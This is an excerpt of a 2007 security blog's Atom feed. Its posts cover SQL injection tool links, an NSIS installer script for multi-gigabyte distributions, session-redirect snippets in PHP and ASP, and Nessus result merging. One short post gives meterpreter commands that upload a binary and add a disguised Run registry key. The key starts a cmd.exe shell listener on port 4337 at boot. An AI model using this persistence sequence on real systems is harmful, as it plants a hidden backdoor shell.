href='http://shad0wbq.blogspot.com/2007/07/qrcode-semanatic-posting.html' title='QRcode - semanatic posting...'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kei_rR7smcA/RpUZLHoR_UI/AAAAAAAAAEY/0IPKdaICgc0/s72-c/shadowbq_robo2.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-630515900189490523</id><published>2007-06-20T18:50:00.000Z</published><updated>2007-06-21T12:47:24.214Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql rootkits'/><title type='text'>SQL injection information and tools</title><content type='html'>Wow.. there's been a blow up recently on SQL injection tools and root kits. This has been a great boom over the older semi-dead projects.&lt;br /&gt;&lt;br /&gt;Ive found the perl blind SQL bf tools to be most helpful in scanning.&lt;br /&gt;http://www.514.es/download/bsqlbfv1.2-th.pl&lt;br /&gt;&lt;br /&gt;Here was a quick shot of other multiple sql tools&lt;br /&gt;http://www.unsec.net/2006/11/herramientas_sql_injection.html&lt;br /&gt;&lt;br /&gt;The OWASP one always needs some help SQLiX ..&lt;br /&gt;http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project&lt;br /&gt;&lt;br /&gt;Current updated list of SQL injection tools&lt;br /&gt;http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners&lt;br /&gt;&lt;br /&gt;Argeniss - Great indepth data and such &lt;br /&gt;Hacking Databases for owning your data (Full root kits for oracle and tsql)&lt;br /&gt;http://www.argeniss.com/research.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-630515900189490523?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/630515900189490523/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=630515900189490523' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/630515900189490523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/630515900189490523'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/06/sql-injection-information-and-tools.html' title='SQL injection information and tools'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-5185642203037319533</id><published>2007-05-10T21:55:00.000Z</published><updated>2007-05-15T14:02:20.959Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='nsis'/><title type='text'>Building NSIS Installers for Large File Distributions</title><content type='html'>I've been working on some solutions recently to distribute large data sets utilizing numerous compressed files groups. I decided the best way to dummy proof this was to wrap an installer around them and do it "right". So here is how to do that with an installer.&lt;br /&gt;&lt;br /&gt;If you need to install, with only one setup application, two or more tar, bz2, gz, or lzma compressed files (for example multiple clustered files of over 2GB containing scientific data for your application and a couple others containing the app, and maybe a required piece of library software like winpcap) you need a robust solution such as the Nullsoft Install System - &lt;a href="http://www.nullsoft.com/free/nsis/"&gt;NSIS&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;The most logical idea is to create a single file, but NSIS does have file size limitations within it's compiler. Currently it is about 2GB in size. So deploying a package of say 8GB (something that might normally fit on a Dual Layer DVD) is not possible with standard NSIS single file installers. This solution uses external plugins to decompress the files within the same directory framework as the installer.  This allows you to create large file distributions that could be delivered on large media or across gigabit speed networks. &lt;br /&gt;&lt;br /&gt;Tools Req:&lt;br /&gt;&lt;br /&gt;7zip &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=14481&amp;package_id=29413"&gt;[installer]&lt;/a&gt; - Compression Utility&lt;br /&gt;Notepad++ &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=95717&amp;amp;package_id=102072"&gt;[installer]&lt;/a&gt;  - IDE&lt;br /&gt;NSIS &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=22049&amp;package_id=15374"&gt;[installer]&lt;/a&gt;&lt;br /&gt;UltraModernUI NSIS User Interface &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=146999&amp;amp;package_id=161955"&gt;[installer]&lt;/a&gt; - personal choice of GUI for NSIS installer&lt;br /&gt;Untgz Contrib plugin &lt;a href="http://nsis.sourceforge.net/mediawiki/images/9/9d/Untgz.zip"&gt;[installer]&lt;/a&gt; - Decompression library&lt;br /&gt;&lt;br /&gt;Files to Distrubute:&lt;br /&gt;compressed_1.tar&lt;br /&gt;-- decomp_set1of5_file1of2.txt&lt;br /&gt;-- decomp_set1of5_file2of2.txt&lt;br /&gt;compressed_2.tar&lt;br /&gt;-- decomp_set2of5_file1of3.txt&lt;br /&gt;-- decomp_set2of5_file2of3.txt&lt;br /&gt;-- decomp_set2of5_file3of3.txt&lt;br /&gt;compressed_3.tar&lt;br /&gt;-- decomp_set3of5_file1of2.txt&lt;br /&gt;-- decomp_set3of5_file2of2.txt&lt;br /&gt;compressed_4.tar&lt;br /&gt;-- decomp_set4of5_file1of1.txt&lt;br /&gt;compressed_5.tar&lt;br /&gt;-- decomp_set5of5_file1of3.txt&lt;br /&gt;-- decomp_set5of5_file2of3.txt&lt;br /&gt;-- decomp_set5of5_file3of3.txt&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;1   &lt;br /&gt;2   &lt;br /&gt;3 &lt;font color="#0000ff" face="Times"&gt;!include &lt;/font&gt;&lt;font color="blue" face="Times"&gt;LogicLib.nsh &lt;/font&gt;&lt;br /&gt;4   &lt;br /&gt;5 &lt;font color="blue" face="Times"&gt;Function .onInit&lt;/font&gt;&lt;br /&gt;6 &lt;/font&gt;&lt;font color="#007f00" face="Times" size="3"&gt;# Section Size must be manually set to the size of the required disk space NSIS will not do this for external files.&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;7 &lt;/font&gt;&lt;font color="#007f00" face="Times" size="3"&gt;# set required size of section number of  kilobytes&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;8 &lt;/font&gt;&lt;font color="#007f00" face="Times" size="3"&gt;# 8gb to kilo bytes = 8,388,608&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;9 &lt;/font&gt;&lt;font face="Times" size="3"&gt;SectionSetSize &lt;font color="#ff7f00" face="Times"&gt;${SecDecompress} &lt;/font&gt;&lt;font color="#ff0000" face="Times"&gt;8388608&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;10   &lt;br /&gt;11&lt;/font&gt;&lt;font color="#007f00" face="Times" size="3"&gt;;compressed_#.taz has be in the same directory as the Setup file.&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;12&lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${If} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$EXEDIR&lt;font color="#7f7f7f" face="Times"&gt;\compressed_1.tar"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;13&lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$EXEDIR&lt;font color="#7f7f7f" face="Times"&gt;\compressed_2.tar"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;14&lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$EXEDIR&lt;font color="#7f7f7f" face="Times"&gt;\compressed_3.tar"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;15   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$EXEDIR&lt;font color="#7f7f7f" face="Times"&gt;\compressed_4.tar"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;16   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$EXEDIR&lt;font color="#7f7f7f" face="Times"&gt;\compressed_5.tar"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;17   &lt;/font&gt;&lt;font color="#0000ff" face="Times" size="3"&gt;Return&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;18   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${Else}&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;19   &lt;/font&gt;&lt;font color="#0000ff" face="Times" size="3"&gt;MessageBox &lt;font color="#ff0000" face="Times"&gt;MB_OK&lt;/font&gt;&lt;font color="blue" face="Times"&gt;|&lt;/font&gt;&lt;font color="#ff0000" face="Times"&gt;MB_ICONINFORMATION &lt;/font&gt;&lt;font color="#7f7f7f" face="Times"&gt;"This copy of the installer is missing a &lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;compressed#.tar file.." &lt;font color="#ff0000" face="Times"&gt;IDOK &lt;/font&gt;&lt;font color="blue" face="Times"&gt;abort&lt;/font&gt;&lt;br /&gt;20   &lt;/font&gt;&lt;font face="Times" size="3"&gt;abort:&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;21   &lt;/font&gt;&lt;font face="Times" size="3"&gt;Banner::destroy&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;22   &lt;/font&gt;&lt;font color="#0000ff" face="Times" size="3"&gt;Abort&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;23   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${EndIf}&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;24   &lt;br /&gt;25   &lt;font color="blue" face="Times"&gt;FunctionEnd&lt;/font&gt;&lt;br /&gt;26   &lt;br /&gt;27   &lt;font color="#0000ff" face="Times"&gt;Section &lt;/font&gt;&lt;font color="blue" face="Times"&gt;-decompress SecDecompress&lt;/font&gt;&lt;br /&gt;28   &lt;br /&gt;29   &lt;/font&gt;&lt;font color="#007f00" face="Times" size="3"&gt;;UnTGZ Plugin&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;30   &lt;/font&gt;&lt;font color="#007f00" face="Times" size="3"&gt;;compressed_#.tar in this example is not compressed by gzip just tar collection &lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;31   &lt;/font&gt;&lt;font color="#007f00" face="Times" size="3"&gt;;   untgz plugin requires -znone to denote this&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;32   &lt;br /&gt;33   &lt;font color="blue" face="Times"&gt;untgz::extract -j -d &lt;/font&gt;"&lt;font color="#ff7f00" face="Times"&gt;$INSTDIR&lt;/font&gt;\" &lt;font color="blue" face="Times"&gt;-znone&lt;/font&gt;"&lt;font color="#ff7f00" face="Times"&gt;$EXEDIR&lt;/font&gt;\compressed_1.tar"&lt;br /&gt;34   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${If}${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set1of5_file1of2.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;35   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set1of5_file2of2.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;36    &lt;font color="blue" face="Times"&gt;untgz::extract -j -d &lt;/font&gt;"&lt;font color="#ff7f00" face="Times"&gt;$INSTDIR&lt;/font&gt;\" &lt;font color="blue" face="Times"&gt;-znone&lt;/font&gt;"&lt;font color="#ff7f00" face="Times"&gt;$EXEDIR&lt;/font&gt;\compressed_2.tar"&lt;br /&gt;37   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set2of5_file1of3.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;38  &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set2of5_file2of3.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;39  &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set2of5_file3of3.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;40   &lt;font color="blue" face="Times"&gt;untgz::extract -j -d &lt;/font&gt;"&lt;font color="#ff7f00" face="Times"&gt;$INSTDIR&lt;/font&gt;\" &lt;font color="blue" face="Times"&gt;-znone&lt;/font&gt;"&lt;font color="#ff7f00" face="Times"&gt;$EXEDIR&lt;/font&gt;\compressed_3.tar"&lt;br /&gt;41   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set3of5_file1of2.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;42  &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set3of5_file2of2.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;43   &lt;font color="blue" face="Times"&gt;untgz::extract -j -d &lt;/font&gt;"&lt;font color="#ff7f00" face="Times"&gt;$INSTDIR&lt;/font&gt;\" &lt;font color="blue" face="Times"&gt;-znone&lt;/font&gt;"&lt;font color="#ff7f00" face="Times"&gt;$EXEDIR&lt;/font&gt;\compressed_4.tar"&lt;br /&gt;44   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set4of5_file1of1.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;45    &lt;font color="blue" face="Times"&gt;untgz::extract -j -d &lt;/font&gt;"&lt;font color="#ff7f00" face="Times"&gt;$INSTDIR&lt;/font&gt;\" &lt;font color="blue" face="Times"&gt;-znone&lt;/font&gt;"&lt;font color="#ff7f00" face="Times"&gt;$EXEDIR&lt;/font&gt;\compressed_5.tar"&lt;br /&gt;46   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set5of5_file1of3.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;47   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set5of5_file2of3.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;48   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${AndIf} ${FileExists} &lt;font color="#7f7f7f" face="Times"&gt;"&lt;/font&gt;$INSTDIR&lt;font color="#7f7f7f" face="Times"&gt;\decomp_set5of5_file3of3.txt"&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;49   &lt;/font&gt;&lt;font color="#0000ff" face="Times" size="3"&gt;Goto &lt;font color="blue" face="Times"&gt;EverythingOk&lt;/font&gt;&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;50   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${Else}&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;51    &lt;font color="#0000ff" face="Times"&gt;MessageBox &lt;/font&gt;&lt;font color="#ff0000" face="Times"&gt;MB_OK&lt;/font&gt;&lt;font color="blue" face="Times"&gt;|&lt;/font&gt;&lt;font color="#ff0000" face="Times"&gt;MB_ICONEXCLAMATION &lt;/font&gt;"Installation Failure. Media may be corrupt." &lt;font color="#ff0000" face="Times"&gt;IDOK&lt;/font&gt;&lt;/font&gt;&lt;font face="Times" size="3"&gt;abort&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;52   &lt;/font&gt;&lt;font face="Times" size="3"&gt;abort:&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;53   &lt;/font&gt;&lt;font face="Times" size="3"&gt;Banner::destroy&lt;/font&gt;&lt;br /&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;54   &lt;/font&gt;&lt;font color="#0000ff" face="Times" size="3"&gt;Abort&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;55   &lt;/font&gt;&lt;font color="#ff7f00" face="Times" size="3"&gt;${EndIf}&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;56   &lt;/font&gt;&lt;font face="Times" size="3"&gt;EverythingOK:&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;57   &lt;br /&gt;58   &lt;/font&gt;&lt;font color="#007f00" face="Times" size="3"&gt;;If tar files were packaged into the setup you can delete it like this :)&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;59  &lt;/font&gt;&lt;font color="#007f00" face="Times" size="3"&gt;;Delete "$INSTDIR\compressed#.taz"&lt;/font&gt;&lt;font color="#7f7f7f" face="Times" size="3"&gt;&lt;br /&gt;60  &lt;br /&gt;61   &lt;font color="#0000ff" face="Times"&gt;SectionEnd&lt;/font&gt;&lt;/font&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-5185642203037319533?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5185642203037319533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5185642203037319533'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/05/building-nsis-installers-for-large-file.html' title='Building NSIS Installers for Large File Distributions'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-7777946282417281827</id><published>2007-04-03T16:03:00.000Z</published><updated>2007-04-03T19:30:40.413Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='asp'/><title type='text'>Session redirect in php and asp</title><content type='html'>These are examples of correct ways to handle access and redirects in sessions in asp(1.0|vbs) &amp; php.. I dont know how may times I see this done wrong.. &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;ASP example&lt;/span&gt;&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;%&lt;br /&gt;If NOT Session("Authenticated") = 1 Then&lt;br /&gt;  Response.Redirect ("login.asp")&lt;br /&gt;  'Response.Redirect ("login.asp", true);  '&lt;= This is the same as the default&lt;br /&gt;  'Exit ' &lt;= This is called with default True statemens as above&lt;br /&gt;End If&lt;br /&gt;%&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;PHP Example&lt;/span&gt;&lt;br /&gt;&lt;div id="code"&gt;&amp;lt;?PHP&lt;br /&gt; if ($_SESSION['access'] != "yes")&lt;br /&gt; { header(Location:login.php);  /* Redirect browser */&lt;br /&gt; exit; /* Make sure that code below does not get executed when we redirect. */&lt;br /&gt; }&lt;br /&gt; //Code Following Should not be executed unless authenticated.&lt;br /&gt; echo ("secure code");&lt;br /&gt;?&amp;gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Note:  Since PHP 4.4.2 and PHP 5.1.2 this function prevents more than one header &lt;br /&gt;to be sent at once as a protection against header injection attacks.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-7777946282417281827?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/7777946282417281827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=7777946282417281827' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/7777946282417281827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/7777946282417281827'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/04/session-redirect-in-php-and-asp.html' title='Session redirect in php and asp'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-8322367365275712661</id><published>2007-03-30T20:52:00.000Z</published><updated>2007-05-14T13:52:58.154Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='monthof'/><title type='text'>Month of ... bugs</title><content type='html'>1. Month of browser bugs&lt;br /&gt;2. Month of apple bugs&lt;br /&gt;3. Month of kernel bugs&lt;br /&gt;4. Month of PHP bugs&lt;br /&gt;5. Month of MySPACE bugs&lt;br /&gt;&lt;br /&gt;eh.. ergg.. cough.. die. this fad is getting old.. I hate even commenting on this at all.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-8322367365275712661?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/8322367365275712661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=8322367365275712661' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/8322367365275712661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/8322367365275712661'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/03/month-of-bugs.html' title='Month of ... bugs'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-4073754888980253991</id><published>2007-03-28T22:09:00.000Z</published><updated>2007-04-03T14:55:05.527Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='regkeys'/><title type='text'>Setting and Confirming reg keys w/meterpreter.</title><content type='html'>super quick meterpreter sequence&lt;br /&gt;Prep&lt;br /&gt;&lt;div id="code"&gt;upload c:\\sbdbg.exe c:\\windows\\system32\\&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Set&lt;br /&gt;&lt;div id="code"&gt;reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v NotSecurityIssueYourLookingFor -d "C:\\windows\\system32\\sbdbd.exe -l -p 4337 -a 127.0.0.1 -e cmd.exe -r0"&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Verify&lt;br /&gt;&lt;div id="code"&gt;reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run&lt;br /&gt;reg queryval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v NotSecurityIssueYourLookingFor&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Use&lt;br /&gt;&lt;div id="code"&gt;(reboot)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-4073754888980253991?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/4073754888980253991/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=4073754888980253991' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/4073754888980253991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/4073754888980253991'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2007/03/settting-and-confirming-reg-keys.html' title='Setting and Confirming reg keys w/meterpreter.'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-8534535393908706166</id><published>2007-03-23T05:16:00.000Z</published><updated>2007-03-23T05:34:56.915Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='nessus'/><category scheme='http://www.blogger.com/atom/ns#' term='harris'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='database'/><title type='text'>Comparing Common Vulnerability Result Sets</title><content type='html'>One of the major things I've been working on is bring together vulnerability result information. I found that it was a major pain in ass to be able to remove duplicate entries from result sets. I was finally able to come up with listing for based on CVE / BID tracking numbers:&lt;br /&gt;&lt;br /&gt;An example corresponding file could be something like this&lt;br /&gt;&lt;br /&gt;Tenable Nessus 3.0 - to - Harris Guardian Scanner &lt;a href="http://shadowbq.googlepages.com/Nessus_to_Harris.txt"&gt;[download txt]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Just extracting Nessus Information can be a huge problem. Because of the lack of structure within the nasl scripting language, there are many many variations on the output generated by the plugins. I've made some additional changes to an old tool.&lt;br /&gt;&lt;br /&gt;nessus_extract.pl (version 1.7) &lt;a href="http://www.answorld.com/nessus_extract.pl"&gt;[download perl]&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I added pipes into the fray, generating a recursive style csv to separate BID and CVE numbers as well as a more robust double-quote word qualifier. &lt;br /&gt;&lt;br /&gt;One huge help is the Open Source Vulnerability 